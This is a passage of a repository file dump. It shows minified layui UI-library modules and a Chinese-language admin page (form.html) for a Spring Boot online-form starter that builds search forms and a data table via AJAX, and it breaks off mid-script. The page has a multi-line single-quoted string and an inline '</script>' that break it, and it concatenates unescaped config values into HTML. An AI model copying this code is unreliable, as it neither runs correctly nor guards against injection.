layui-icon-prev\"></i>',\"</button>\",\"</div>\",y({index:1,checkAllName:\"layTransferRightCheckAll\"}),\"</div>\"].join(\"\"),v=function(e){var t=this;t.index=++i.index,t.config=d.extend({},t.config,i.config,e),t.render()};v.prototype.config={title:[\"\\u5217\\u8868\\u4e00\",\"\\u5217\\u8868\\u4e8c\"],width:200,height:360,data:[],value:[],showSearch:!1,id:\"\",text:{none:\"\\u65e0\\u6570\\u636e\",searchNone:\"\\u65e0\\u5339\\u914d\\u6570\\u636e\"}},v.prototype.reload=function(e){var t=this;t.config=d.extend({},t.config,e),t.render()},v.prototype.render=function(){var e=this,t=e.config,a=e.elem=d(n(p,{open:\"{{\",close:\"}}\"}).render({data:t,index:e.index})),i=t.elem=d(t.elem);i[0]&&(t.data=t.data||[],t.value=t.value||[],t.id=\"id\"in t?t.id:elem.attr(\"id\")||e.index,e.key=t.id,i.html(e.elem),e.layBox=e.elem.find(\".\"+c),e.layHeader=e.elem.find(\".\"+u),e.laySearch=e.elem.find(\".\"+o),e.layData=a.find(\".\"+f),e.layBtn=a.find(\".layui-transfer-active .layui-btn\"),e.layBox.css({width:t.width,height:t.height}),e.layData.css({height:(i=t.height-e.layHeader.outerHeight(),t.showSearch&&(i-=e.laySearch.outerHeight()),i-2)}),e.renderData(),e.events())},v.prototype.renderData=function(){var e=this,i=(e.config,[{checkName:\"layTransferLeftCheck\",views:[]},{checkName:\"layTransferRightCheck\",views:[]}]);e.parseData(function(e){var t=e.selected?1:0,a=[\"<li>\",'<input type=\"checkbox\" name=\"'+i[t].checkName+'\" lay-skin=\"primary\" lay-filter=\"layTransferCheckbox\" title=\"'+e.title+'\"'+(e.disabled?\" disabled\":\"\")+(e.checked?\" checked\":\"\")+' value=\"'+e.value+'\">',\"</li>\"].join(\"\");i[t].views.push(a),delete e.selected}),e.layData.eq(0).html(i[0].views.join(\"\")),e.layData.eq(1).html(i[1].views.join(\"\")),e.renderCheckBtn()},v.prototype.renderForm=function(e){t.render(e,\"LAY-transfer-\"+this.index)},v.prototype.renderCheckBtn=function(r){var c=this,o=c.config;r=r||{},c.layBox.each(function(e){var t=d(this),a=t.find(\".\"+f),t=t.find(\".\"+u).find('input[type=\"checkbox\"]'),i=a.find('input[type=\"checkbox\"]'),n=0,l=!1;i.each(function(){var e=d(this).data(\"hide\");(this.checked||this.disabled||e)&&n++,this.checked&&!e&&(l=!0)}),t.prop(\"checked\",l&&n===i.length),c.layBtn.eq(e)[l?\"removeClass\":\"addClass\"](h),r.stopNone||(i=a.children(\"li:not(.\"+s+\")\").length,c.noneView(a,i?\"\":o.text.none))}),c.renderForm(\"checkbox\")},v.prototype.noneView=function(e,t){var a=d('<p class=\"layui-none\">'+(t||\"\")+\"</p>\");e.find(\".\"+r)[0]&&e.find(\".\"+r).remove(),t.replace(/\\s/g,\"\")&&e.append(a)},v.prototype.setValue=function(){var e=this.config,t=[];return this.layBox.eq(1).find(\".\"+f+' input[type=\"checkbox\"]').each(function(){d(this).data(\"hide\")||t.push(this.value)}),e.value=t,this},v.prototype.parseData=function(t){var i=this.config,n=[];return layui.each(i.data,function(e,a){a=(\"function\"==typeof i.parseData?i.parseData(a):a)||a,n.push(a=d.extend({},a)),layui.each(i.value,function(e,t){t==a.value&&(a.selected=!0)}),t&&t(a)}),i.data=n,this},v.prototype.getData=function(e){var t=this.config,i=[];return this.setValue(),layui.each(e||t.value,function(e,a){layui.each(t.data,function(e,t){delete t.selected,a==t.value&&i.push(t)})}),i},v.prototype.transfer=function(e,t){var a,i=this,n=i.config,l=i.layBox.eq(e),r=[],t=(t?((a=(t=t).find('input[type=\"checkbox\"]'))[0].checked=!1,l.siblings(\".\"+c).find(\".\"+f).append(t.clone()),t.remove(),r.push(a[0].value),i.setValue()):l.each(function(e){d(this).find(\".\"+f).children(\"li\").each(function(){var e=d(this),t=e.find('input[type=\"checkbox\"]'),a=t.data(\"hide\");t[0].checked&&!a&&(t[0].checked=!1,l.siblings(\".\"+c).find(\".\"+f).append(e.clone()),e.remove(),r.push(t[0].value)),i.setValue()})}),i.renderCheckBtn(),l.siblings(\".\"+c).find(\".\"+o+\" input\"));\"\"!==t.val()&&t.trigger(\"keyup\"),n.onchange&&n.onchange(i.getData(r),e)},v.prototype.events=function(){var n=this,l=n.config;n.elem.on(\"click\",'input[lay-filter=\"layTransferCheckbox\"]+',function(){var e=d(this).prev(),t=e[0].checked,a=e.parents(\".\"+c).eq(0).find(\".\"+f);e[0].disabled||(\"all\"===e.attr(\"lay-type\")&&a.find('input[type=\"checkbox\"]').each(function(){this.disabled||(this.checked=t)}),setTimeout(function(){n.renderCheckBtn({stopNone:!0})},0))}),n.elem.on(\"dblclick\",\".\"+f+\">li\",function(e){var t=d(this),a=t.children('input[type=\"checkbox\"]'),i=t.parent().parent();a[0].disabled||n.transfer(i.data(\"index\"),t)}),n.layBtn.on(\"click\",function(){var e=d(this),t=e.data(\"index\");e.hasClass(h)||n.transfer(t)}),n.laySearch.find(\"input\").on(\"keyup\",function(){var i=this.value,e=d(this).parents(\".\"+o).eq(0).siblings(\".\"+f),t=e.children(\"li\"),t=(t.each(function(){var e=d(this),t=e.find('input[type=\"checkbox\"]'),a=t[0].title,a=(\"cs\"!==l.showSearch&&(a=a.toLowerCase(),i=i.toLowerCase()),-1!==a.indexOf(i));e[a?\"removeClass\":\"addClass\"](s),t.data(\"hide\",!a)}),n.renderCheckBtn(),t.length===e.children(\"li.\"+s).length);n.noneView(e,t?l.text.searchNone:\"\")})},l.that={},l.config={},i.reload=function(e,t){e=l.that[e];return e.reload(t),l.call(e)},i.getData=function(e){return l.that[e].getData()},i.render=function(e){e=new v(e);return l.call(e)},e(a,i)});layui.define([\"jquery\",\"lay\"],function(e){\"use strict\";var a=layui.$,t=layui.lay,o=(layui.hint(),layui.device(),{config:{},set:function(e){var i=this;return i.config=a.extend({},i.config,e),i},on:function(e,i){return layui.onevent.call(this,r,e,i)}}),r=\"carousel\",d=\"layui-this\",s=\"layui-carousel-left\",u=\"layui-carousel-right\",c=\"layui-carousel-prev\",m=\"layui-carousel-next\",l=\"layui-carousel-arrow\",f=\"layui-carousel-ind\",i=function(e){var i=this;i.config=a.extend({},i.config,o.config,e),i.render()};i.prototype.config={width:\"600px\",height:\"280px\",full:!1,arrow:\"hover\",indicator:\"inside\",autoplay:!0,interval:3e3,anim:\"\",trigger:\"click\",index:0},i.prototype.render=function(){var e=this,i=e.config,n=a(i.elem);if(1<n.length)return layui.each(n,function(){o.render(a.extend({},i,{elem:this}))}),e;a.extend(i,t.options(n[0])),i.elem=a(i.elem),i.elem[0]&&(e.elemItem=i.elem.find(\">*[carousel-item]>*\"),i.index<0&&(i.index=0),i.index>=e.elemItem.length&&(i.index=e.elemItem.length-1),i.interval<800&&(i.interval=800),i.full?i.elem.css({position:\"fixed\",width:\"100%\",height:\"100%\",zIndex:9999}):i.elem.css({width:i.width,height:i.height}),i.elem.attr(\"lay-anim\",i.anim),e.elemItem.eq(i.index).addClass(d),e.elemItem.length<=1||(e.indicator(),e.arrow(),e.autoplay(),e.events()))},i.prototype.reload=function(e){var i=this;clearInterval(i.timer),i.config=a.extend({},i.config,e),i.render()},i.prototype.prevIndex=function(){var e=this.config.index-1;return e=e<0?this.elemItem.length-1:e},i.prototype.nextIndex=function(){var e=this.config.index+1;return e=e>=this.elemItem.length?0:e},i.prototype.addIndex=function(e){var i=this.config;i.index=i.index+(e=e||1),i.index>=this.elemItem.length&&(i.index=0)},i.prototype.subIndex=function(e){var i=this.config;i.index=i.index-(e=e||1),i.index<0&&(i.index=this.elemItem.length-1)},i.prototype.autoplay=function(){var e=this,i=e.config;i.autoplay&&(clearInterval(e.timer),e.timer=setInterval(function(){e.slide()},i.interval))},i.prototype.arrow=function(){var i=this,e=i.config,n=a(['<button class=\"layui-icon '+l+'\" lay-type=\"sub\">'+(\"updown\"===e.anim?\"&#xe619;\":\"&#xe603;\")+\"</button>\",'<button class=\"layui-icon '+l+'\" lay-type=\"add\">'+(\"updown\"===e.anim?\"&#xe61a;\":\"&#xe602;\")+\"</button>\"].join(\"\"));e.elem.attr(\"lay-arrow\",e.arrow),e.elem.find(\".\"+l)[0]&&e.elem.find(\".\"+l).remove(),e.elem.append(n),n.on(\"click\",function(){var e=a(this).attr(\"lay-type\");i.slide(e)})},i.prototype[\"goto\"]=function(e){var i=this,n=i.config;e>n.index?i.slide(\"add\",e-n.index):e<n.index&&i.slide(\"sub\",n.index-e)},i.prototype.indicator=function(){var i,e=this,n=e.config,t=e.elemInd=a(['<div class=\"'+f+'\"><ul>',(i=[],layui.each(e.elemItem,function(e){i.push(\"<li\"+(n.index===e?' class=\"layui-this\"':\"\")+\"></li>\")}),i.join(\"\")),\"</ul></div>\"].join(\"\"));n.elem.attr(\"lay-indicator\",n.indicator),n.elem.find(\".\"+f)[0]&&n.elem.find(\".\"+f).remove(),n.elem.append(t),\"updown\"===n.anim&&t.css(\"margin-top\",-t.height()/2),t.find(\"li\").on(\"hover\"===n.trigger?\"mouseover\":n.trigger,function(){e[\"goto\"](a(this).index())})},i.prototype.slide=function(e,i){var n=this,t=n.elemItem,a=n.config,o=a.index,l=a.elem.attr(\"lay-filter\");n.haveSlide||(\"sub\"===e?(n.subIndex(i),t.eq(a.index).addClass(c),setTimeout(function(){t.eq(o).addClass(u),t.eq(a.index).addClass(u)},50)):(n.addIndex(i),t.eq(a.index).addClass(m),setTimeout(function(){t.eq(o).addClass(s),t.eq(a.index).addClass(s)},50)),setTimeout(function(){t.removeClass(d+\" \"+c+\" \"+m+\" \"+s+\" \"+u),t.eq(a.index).addClass(d),n.haveSlide=!1},300),n.elemInd.find(\"li\").eq(a.index).addClass(d).siblings().removeClass(d),n.haveSlide=!0,e={index:a.index,prevIndex:o,item:t.eq(a.index)},\"function\"==typeof a.change&&a.change(e),layui.event.call(this,r,\"change(\"+l+\")\",e))},i.prototype.events=function(){var e=this,i=e.config;i.elem.data(\"haveEvents\")||(i.elem.on(\"mouseenter\",function(){\"always\"!==e.config.autoplay&&clearInterval(e.timer)}).on(\"mouseleave\",function(){\"always\"!==e.config.autoplay&&e.autoplay()}),i.elem.data(\"haveEvents\",!0))},o.render=function(e){return new i(e)},e(r,o)});layui.define([\"jquery\",\"lay\"],function(e){\"use strict\";var s=layui.jquery,r=layui.lay,c={config:{},index:layui.rate?layui.rate.index+1e4:0,set:function(e){var a=this;return a.config=s.extend({},a.config,e),a},on:function(e,a){return layui.onevent.call(this,l,e,a)}},l=\"rate\",f=\"layui-icon-rate\",h=\"layui-icon-rate-solid\",o=\"layui-icon-rate-half\",u=\"layui-icon-rate-solid layui-icon-rate-half\",v=\"layui-icon-rate layui-icon-rate-half\",a=function(e){var a=this;a.index=++c.index,a.config=s.extend({},a.config,c.config,e),a.render()};a.prototype.config={length:5,text:!1,readonly:!1,half:!1,value:0,theme:\"\"},a.prototype.render=function(){var e=this,a=e.config,l=s(a.elem);if(1<l.length)return layui.each(l,function(){c.render(s.extend({},a,{elem:this}))}),e;s.extend(a,r.options(l[0]));for(var i=a.theme?'style=\"color: '+a.theme+';\"':\"\",n=(a.elem=s(a.elem),a.value>a.length&&(a.value=a.length),parseInt(a.value)===a.value||a.half||(a.value=Math.ceil(a.value)-a.value<.5?Math.ceil(a.value):Math.floor(a.value)),'<ul class=\"layui-rate\" '+(a.readonly?\"readonly\":\"\")+\">\"),t=1;t<=a.length;t++){var o='<li class=\"layui-inline\"><i class=\"layui-icon '+(t>Math.floor(a.value)?f:h)+'\" '+i+\"></i></li>\";a.half&&parseInt(a.value)!==a.value&&t==Math.ceil(a.value)?n=n+'<li><i class=\"layui-icon layui-icon-rate-half\" '+i+\"></i></li>\":n+=o}n+=\"</ul>\"+(a.text?'<span class=\"layui-inline\">'+a.value+\"\\u661f\":\"\")+\"</span>\";var l=a.elem,u=l.next(\".layui-rate\");u[0]&&u.remove(),e.elemTemp=s(n),a.span=e.elemTemp.next(\"span\"),a.setText&&a.setText(a.value),l.html(e.elemTemp),l.addClass(\"layui-inline\"),a.readonly||e.action()},a.prototype.setvalue=function(e){this.config.value=e,this.render()},a.prototype.action=function(){var i=this.config,n=this.elemTemp,t=n.find(\"i\").width();n.children(\"li\").each(function(e){var a=e+1,l=s(this);l.on(\"click\",function(e){i.value=a,i.half&&e.pageX-s(this).offset().left<=t/2&&(i.value=i.value-.5),i.text&&n.next(\"span\").text(i.value+\"\\u661f\"),i.choose&&i.choose(i.value),i.setText&&i.setText(i.value)}),l.on(\"mousemove\",function(e){n.find(\"i\").each(function(){s(this).addClass(f).removeClass(u)}),n.find(\"i:lt(\"+a+\")\").each(function(){s(this).addClass(h).removeClass(v)}),i.half&&e.pageX-s(this).offset().left<=t/2&&l.children(\"i\").addClass(o).removeClass(h)}),l.on(\"mouseleave\",function(){n.find(\"i\").each(function(){s(this).addClass(f).removeClass(u)}),n.find(\"i:lt(\"+Math.floor(i.value)+\")\").each(function(){s(this).addClass(h).removeClass(v)}),i.half&&parseInt(i.value)!==i.value&&n.children(\"li:eq(\"+Math.floor(i.value)+\")\").children(\"i\").addClass(o).removeClass(\"layui-icon-rate-solid layui-icon-rate\")})})},a.prototype.events=function(){this.config},c.render=function(e){e=new a(e);return function(){var a=this;return{setvalue:function(e){a.setvalue.call(a,e)},config:a.config}}.call(e)},e(l,c)});layui.define(\"jquery\",function(l){\"use strict\";var g=layui.$,e=function(l){};e.prototype.load=function(l){var t,i,n,e,r,o,a,c,m,s,u,f,y,d=this,p=0,h=g((l=l||{}).elem);if(h[0])return e=g(l.scrollElem||document),r=l.mb||50,o=!(\"isAuto\"in l)||l.isAuto,a=l.end||\"\\u6ca1\\u6709\\u66f4\\u591a\\u4e86\",c=l.scrollElem&&l.scrollElem!==document,m=\"<cite>\\u52a0\\u8f7d\\u66f4\\u591a</cite>\",s=g('<div class=\"layui-flow-more\"><a href=\"javascript:;\">'+m+\"</a></div>\"),h.find(\".layui-flow-more\")[0]||h.append(s),u=function(l,e){l=g(l),s.before(l),(e=0==e||null)?s.html(a):s.find(\"a\").html(m),i=e,t=null,y&&y()},f=function(){t=!0,s.find(\"a\").html('<i class=\"layui-anim layui-anim-rotate layui-anim-loop layui-icon \">&#xe63e;</i>'),\"function\"==typeof l.done&&l.done(++p,u)},f(),s.find(\"a\").on(\"click\",function(){g(this);i||t||f()}),l.isLazyimg&&(y=d.lazyimg({elem:l.elem+\" img\",scrollElem:l.scrollElem})),o&&e.on(\"scroll\",function(){var e=g(this),o=e.scrollTop();n&&clearTimeout(n),!i&&h.width()&&(n=setTimeout(function(){var l=(c?e:g(window)).height();(c?e.prop(\"scrollHeight\"):document.documentElement.scrollHeight)-o-l<=r&&(t||f())},100))}),d},e.prototype.lazyimg=function(l){var e,c=this,m=0,s=g((l=l||{}).scrollElem||document),u=l.elem||\"img\",f=l.scrollElem&&l.scrollElem!==document,y=function(e,l){var o,t=s.scrollTop(),l=t+l,i=f?e.offset().top-s.offset().top+t:e.offset().top;t<=i&&i<=l&&e.attr(\"lay-src\")&&(o=e.attr(\"lay-src\"),layui.img(o,function(){var l=c.lazyimg.elem.eq(m);e.attr(\"src\",o).removeAttr(\"lay-src\"),l[0]&&n(l),m++},function(){c.lazyimg.elem.eq(m);e.removeAttr(\"lay-src\")}))},n=function(l,e){var o=(f?e||s:g(window)).height(),t=s.scrollTop(),i=t+o;if(c.lazyimg.elem=g(u),l)y(l,o);else for(var n=0;n<c.lazyimg.elem.length;n++){var r=c.lazyimg.elem.eq(n),a=f?r.offset().top-s.offset().top+t:r.offset().top;if(y(r,o),m=n,i<a)break}};return n(),s.on(\"scroll\",function(){var l=g(this);e&&clearTimeout(e),e=setTimeout(function(){n(null,l)},50)}),n},l(\"flow\",new e)});layui.define([\"lay\",\"util\",\"element\",\"form\"],function(e){\"use strict\";var M=layui.$,_=layui.util,w=layui.element,C=layui.form,b={ELEM_VIEW:\"layui-code-view\",ELEM_TAB:\"layui-tab\",ELEM_TITLE:\"layui-code-title\",ELEM_FULL:\"layui-code-full\",ELEM_PREVIEW:\"layui-code-preview\",ELEM_ITEM:\"layui-code-item\",ELEM_SHOW:\"layui-show\"},a={elem:\".layui-code\",title:\"&lt;/&gt;\",about:\"\",ln:!0,header:!1,text:{code:_.escape(\"</>\"),preview:\"Preview\"}},I=function(e){return M.trim(e).replace(/^\\n|\\n$/,\"\")};e(\"code\",function(e){var L=e=M.extend(!0,{},a,e);e.elem=M(e.elem),e.elem[0]&&layui.each(e.elem.get().reverse(),function(e,a){var i,l,t,s,o,n,d,c,r,u,E=M(a),y=M.extend(!0,{},L,lay.options(a),(i={},layui.each([\"title\",\"height\",\"encode\",\"skin\",\"about\"],function(e,a){var l=E.attr(\"lay-\"+a);\"string\"==typeof l&&(i[a]=l)}),i)),v=E.data(\"code\")||(l=[],E.children(\"textarea\").each(function(){l.push(I(this.value))}),0===l.length&&l.push(I(E.html())),l),f=(E.data(\"code\",v),y.preview&&(a=\"LAY-CODE-DF-\"+e,t=y.layout||[\"code\",\"preview\"],s=\"iframe\"===y.preview,h=M('<div class=\"'+b.ELEM_PREVIEW+'\">'),u=M('<div class=\"layui-tab layui-tab-brief\">'),o=M('<div class=\"layui-tab-title\">'),n=M('<div class=\"'+[b.ELEM_ITEM,b.ELEM_ITEM+\"-preview\",\"layui-border\"].join(\" \")+'\">'),d=M('<div class=\"layui-code-tools\"></div>'),m=E.parent(\".\"+b.ELEM_PREVIEW),f=E.prev(\".\"+b.ELEM_TAB),p=E.next(\".\"+b.ELEM_ITEM+\"-preview\"),y.id&&h.attr(\"id\",y.id),h.addClass(y.className),u.attr(\"lay-filter\",a),layui.each(t,function(e,a){var l=M('<li lay-id=\"'+a+'\">');0===e&&l.addClass(\"layui-this\"),l.html(y.text[a]),o.append(l)}),c={full:{className:\"screen-full\",title:[\"\\u6700\\u5927\\u5316\\u663e\\u793a\",\"\\u8fd8\\u539f\\u663e\\u793a\"],event:function(e,a){var l=e.closest(\".\"+b.ELEM_PREVIEW),i=\"layui-icon-\"+this.className,t=\"layui-icon-screen-restore\",s=this.title,o=M(\"html,body\"),n=\"layui-scollbar-hide\";e.hasClass(i)?(l.addClass(b.ELEM_FULL),e.removeClass(i).addClass(t),e.attr(\"title\",s[1]),o.addClass(n)):(l.removeClass(b.ELEM_FULL),e.removeClass(t).addClass(i),e.attr(\"title\",s[0]),o.removeClass(n))}},window:{className:\"release\",title:[\"\\u5728\\u65b0\\u7a97\\u53e3\\u9884\\u89c8\"],event:function(e,a){_.openWin({content:v.join(\"\")})}}},d.on(\"click\",\">i\",function(){var e=M(this),a=e.data(\"type\");\"function\"==typeof c[a].event&&c[a].event(e,a),\"function\"==typeof y.toolsEvent&&y.toolsEvent(e,a)}),layui.each(y.tools,function(e,a){var l=c[a]&&c[a].className||a,i=c[a].title||[\"\"];d.append('<i class=\"layui-icon layui-icon-'+l+'\" data-type=\"'+a+'\" title=\"'+i[0]+'\"></i>')}),f[0]&&f.remove(),p[0]&&p.remove(),m[0]&&E.unwrap(),u.append(o),y.tools&&u.append(d),E.wrap(h).addClass(b.ELEM_ITEM).before(u),s&&n.html(\"<iframe></iframe>\"),r=function(e){var a=e.children(\"iframe\")[0],l=(s&&a?a.srcdoc=v.join(\"\"):e.html(v.join(\"\")),{container:e,render:function(){C.render(e.find(\".layui-form\")),w.render()}});setTimeout(function(){\"function\"==typeof y.done&&y.done(l)},3)},\"preview\"===t[0]?(n.addClass(b.ELEM_SHOW),E.before(n),r(n)):E.addClass(b.ELEM_SHOW).after(n),y.codeStyle=[y.style,y.codeStyle].join(\"\"),y.previewStyle=[y.style,y.previewStyle].join(\"\"),n.attr(\"style\",y.previewStyle),w.on(\"tab(\"+a+\")\",function(e){var a=M(this),l=M(e.elem).closest(\".\"+b.ELEM_PREVIEW).find(\".\"+b.ELEM_ITEM),e=l.eq(e.index);l.removeClass(b.ELEM_SHOW),e.addClass(b.ELEM_SHOW),\"preview\"===a.attr(\"lay-id\")&&r(e)})),y.ln?\"ol\":\"ul\"),p=M(\"<\"+f+' class=\"layui-code-'+f+'\">'),m=M('<div class=\"'+b.ELEM_TITLE+'\">'),h=(E.addClass(\"layui-code-view layui-box\"),y.skin&&(\"notepad\"===y.skin&&(y.skin=\"dark\"),E.removeClass(\"layui-code-dark layui-code-light\"),E.addClass(\"layui-code-\"+y.skin)),_.escape(v.join(\"\"))),h=(h=y.encode?_.escape(h):h).replace(/[\\r\\t\\n]+/g,\"</li><li>\");E.html(p.html(\"<li>\"+h+\"</li>\")),y.header&&!E.children(\".\"+b.ELEM_TITLE)[0]&&(m.html(y.title+(y.about?'<div class=\"layui-code-about\">'+y.about+\"</div>\":\"\")),E.prepend(m)),y.elem.length===e+1&&\"function\"==typeof y.allDone&&y.allDone(),0<(u=Math.floor(p.find(\"li\").length/100))&&p.css(\"margin-left\",u+\"px\"),y.height&&p.css(\"max-height\",y.height),p.attr(\"style\",y.codeStyle)})})}),layui[\"layui.all\"]||layui.addcss(\"modules/code.css?v=3\",\"skincodecss\");"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/resources/static/online/form.html",
    "content": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>在线表单 - 数据管理</title>\n    <!-- 引入layui CSS -->\n    <link rel=\"stylesheet\" href=\"https://cdn.jsdelivr.net/npm/layui@2.6.8/dist/css/layui.css\">\n    <style>\n        body {\n            margin: 20px;\n            background-color: #f2f2f2;\n        }\n        .container {\n            max-width: 1200px;\n            margin: 0 auto;\n            background-color: #fff;\n            padding: 20px;\n            border-radius: 5px;\n            box-shadow: 0 1px 10px rgba(0, 0, 0, 0.1);\n        }\n        .header {\n            margin-bottom: 20px;\n            padding-bottom: 15px;\n            border-bottom: 1px solid #eee;\n        }\n        .header h2 {\n            margin: 0;\n            font-size: 20px;\n            color: #333;\n            display: inline-block;\n        }\n        .header .back-btn {\n            float: right;\n        }\n        .search-form {\n            padding: 15px;\n            background-color: #f9f9f9;\n            border-radius: 5px;\n            margin-bottom: 20px;\n        }\n        .form-row {\n            margin-bottom: 15px;\n        }\n        .btn-group {\n            margin-bottom: 20px;\n            text-align: right;\n        }\n        .layui-form-item {\n            margin-bottom: 15px;\n        }\n        .layui-form-item .layui-form-label {\n            width: 120px;\n        }\n        .layui-form-item .layui-input-block {\n            margin-left: 120px;\n        }\n    </style>\n</head>\n<body>\n    <div class=\"container\">\n        <div class=\"header\">\n            <h2 id=\"formTitle\">加载表单配置...</h2>\n            <button class=\"layui-btn layui-btn-primary back-btn\" id=\"backBtn\">返回列表</button>\n        </div>\n        \n        <!-- 搜索表单 -->\n        <div class=\"search-form\">\n            <form class=\"layui-form\" id=\"searchForm\">\n                <div class=\"form-row\" id=\"searchFormContent\">\n                    <!-- 动态生成搜索表单内容 -->\n                </div>\n                <div class=\"layui-form-item\">\n                    <div class=\"layui-input-block\">\n                        <button type=\"button\" class=\"layui-btn layui-btn-primary\" id=\"resetSearchBtn\">重置</button>\n                        <button type=\"button\" class=\"layui-btn\" id=\"searchBtn\">搜索</button>\n                    </div>\n                </div>\n            </form>\n        </div>\n        \n        <!-- 操作按钮组 -->\n        <div class=\"btn-group\">\n            <button class=\"layui-btn layui-btn-normal\" id=\"addBtn\">添加</button>\n            <button class=\"layui-btn layui-btn-danger\" id=\"deleteBtn\">删除</button>\n        </div>\n        \n        <!-- 数据表格 -->\n        <table class=\"layui-hide\" id=\"dataTable\" lay-filter=\"dataTable\"></table>\n    </div>\n    \n    <!-- 添加/编辑表单弹窗 -->\n    <div id=\"editFormDiv\" style=\"display: none;\">\n        <form class=\"layui-form\" id=\"editForm\">\n            <!-- 动态生成表单内容 -->\n        </form>\n    </div>\n    \n    <!-- 引入jQuery -->\n    <script src=\"https://cdn.jsdelivr.net/npm/jquery@3.6.0/dist/jquery.min.js\"></script>\n    <!-- 引入layui JS -->\n    <script src=\"https://cdn.jsdelivr.net/npm/layui@2.6.8/dist/layui.js\"></script>\n    \n    <script>\n        layui.use(['layer', 'table', 'form'], function() {\n            var layer = layui.layer;\n            var table = layui.table;\n            var form = layui.form;\n            var $ = layui.jquery;\n            \n            // 获取URL参数\n            function getUrlParam(name) {\n                var reg = new RegExp(\"(^|&)\" + name + \"=([^&]*)(&|$)\");\n                var r = window.location.search.substr(1).match(reg);\n                if (r != null) return decodeURIComponent(r[2]);\n                return null;\n            }\n            \n            var tableId = getUrlParam('tableId');\n            var formConfig = null;\n            var dataTable = null;\n            \n            // 如果没有tableId参数，返回列表页\n            if (!tableId) {\n                window.location.href = 'index.html';\n            }\n            \n            // 加载表单配置\n            function loadFormConfig() {\n                $.ajax({\n                    url: '/sys/online/form/' + tableId,\n                    type: 'GET',\n                    success: function(res) {\n                        if (res.code === 0 && res.data) {\n                            formConfig = res.data;\n                            $('#formTitle').text(formConfig.name || '表单管理');\n                            initSearchForm();\n                            initDataTable();\n                        } else {\n                            layer.msg('加载表单配置失败：' + res.msg, {icon: 5});\n                        }\n                    },\n                    error: function() {\n                        layer.msg('网络错误，请检查接口连接', {icon: 5});\n                    }\n                });\n            }\n            \n            // 初始化搜索表单\n            function initSearchForm() {\n                if (!formConfig || !formConfig.queryFields) return;\n                \n                var html = '';\n                var rowCount = 0;\n                var currentRow = '';\n                \n                $.each(formConfig.queryFields, function(index, field) {\n                    if (rowCount % 3 === 0) {\n                        if (currentRow) {\n                            html += currentRow + '</div>';\n                        }\n                        currentRow = '<div class=\"layui-form-item\">';\n                    }\n                    \n                    var inputHtml = '';\n                    switch (field.queryInput) {\n                        case 'text':\n                            inputHtml = '<input type=\"text\" name=\"' + field.name + '\" placeholder=\"请输入' + field.comments + '\" autocomplete=\"off\" class=\"layui-input\">';\n                            break;\n                        case 'select':\n                            inputHtml = '<select name=\"' + field.name + '\" lay-search><option value=\"\">请选择' + field.comments + '</option>';\n                            if (field.dictOptions) {\n                                $.each(field.dictOptions, function(key, value) {\n                                    inputHtml += '<option value=\"' + key + '\">' + value + '</option>';\n                                });\n                            }\n                            inputHtml += '</select>';\n                            break;\n                        default:\n                            inputHtml = '<input type=\"text\" name=\"' + field.name + '\" placeholder=\"请输入' + field.comments + '\" autocomplete=\"off\" class=\"layui-input\">';\n                    }\n                    \n                    currentRow += '<div class=\"layui-inline\" style=\"width: 30%; margin-right: 2%;\">\n                                    <label class=\"layui-form-label\" style=\"width: 80px;\">' + field.comments + '</label>\n                                    <div class=\"layui-input-inline\" style=\"width: calc(100% - 80px);\">' + inputHtml + '</div>\n                                </div>';\n                    \n                    rowCount++;\n                });\n                \n                if (currentRow) {\n                    html += currentRow + '</div>';\n                }\n                \n                $('#searchFormContent').html(html);\n                form.render();\n            }\n            \n            // 初始化数据表格\n            function initDataTable() {\n                if (!formConfig || !formConfig.gridFields) return;\n                \n                var cols = [[\n                    {type: 'checkbox', fixed: 'left'},\n                    {field: 'id', title: 'ID', width: 80, sort: true, fixed: 'left'}\n                ]];\n                \n                $.each(formConfig.gridFields, function(index, field) {\n                    var col = {\n                        field: field.name,\n                        title: field.comments,\n                        width: field.width || 150\n                    };\n                    \n                    if (field.sortable) {\n                        col.sort = true;\n                    }\n                    \n                    cols[0].push(col);\n                });\n                \n                cols[0].push({\n                    fixed: 'right',\n                    title: '操作',\n                    toolbar: '#dataTableBar',\n                    width: 150\n                });\n                \n                dataTable = table.render({\n                    elem: '#dataTable',\n                    url: '/sys/online/form/' + tableId + '/page',\n                    method: 'POST',\n                    contentType: 'application/json',\n                    where: getSearchParams(),\n                    cols: cols,\n                    page: true,\n                    limit: 10,\n                    limits: [10, 20, 30, 50],\n                    text: {\n                        none: '暂无相关数据'\n                    },\n                    response: {\n                        statusName: 'code',\n                        statusCode: 0,\n                        countName: 'data.total',\n                        dataName: 'data.list'\n                    },\n                    parseData: function(res) {\n                        return {\n                            'code': res.code,\n                            'data': res.data,\n                            'count': res.data ? res.data.total : 0\n                        };\n                    }\n                });\n                \n                // 定义操作列模板\n                var toolbarHtml = '<script type=\"text/html\" id=\"dataTableBar\">\\n' +\n                    '  <a class=\"layui-btn layui-btn-xs\" lay-event=\"edit\">编辑</a>\\n' +\n                    '  <a class=\"layui-btn layui-btn-danger layui-btn-xs\" lay-event=\"del\">删除</a>\\n' +\n                    '</script>';\n                \n                if ($('#dataTableBar').length === 0) {\n                    $('body').append(toolbarHtml);\n                }\n                \n                // 监听行工具事件\n                table.on('tool(dataTable)', function(obj) {\n                    var data = obj.data;\n                    if (obj.event === 'edit') {\n                        openEditForm(data);\n                    } else if (obj.event === 'del') {\n                        deleteData([data.id]);\n                    }\n                });\n            }\n            \n            // 获取搜索参数\n            function getSearchParams() {\n                var params = {page: 1, limit: 10};\n                var formData = $('#searchForm').serializeArray();\n                \n                $.each(formData, function(index, item) {\n                    if (item.value) {\n                        params[item.name] = item.value;\n                    }\n                });\n                \n                return params;\n            }\n            \n            // 搜索按钮事件\n            $('#searchBtn').click(function() {\n                if (dataTable) {\n                    dataTable.reload({\n                        where: getSearchParams(),\n                        page: {curr: 1}\n                    });\n                }\n            });\n            \n            // 重置搜索按钮事件\n            $('#resetSearchBtn').click(function() {\n                $('#searchForm')[0].reset();\n                form.render();\n            });\n            \n            // 添加按钮事件\n            $('#addBtn').click(function() {\n                openEditForm(null);\n            });\n            \n            // 删除按钮事件\n            $('#deleteBtn').click(function() {\n                var checkStatus = table.checkStatus('dataTable');\n                var data = checkStatus.data;\n                \n                if (data.length === 0) {\n                    layer.msg('请选择要删除的数据', {icon: 5});\n                    return;\n                }\n                \n                var ids = [];\n                $.each(data, function(index, item) {\n                    ids.push(item.id);\n                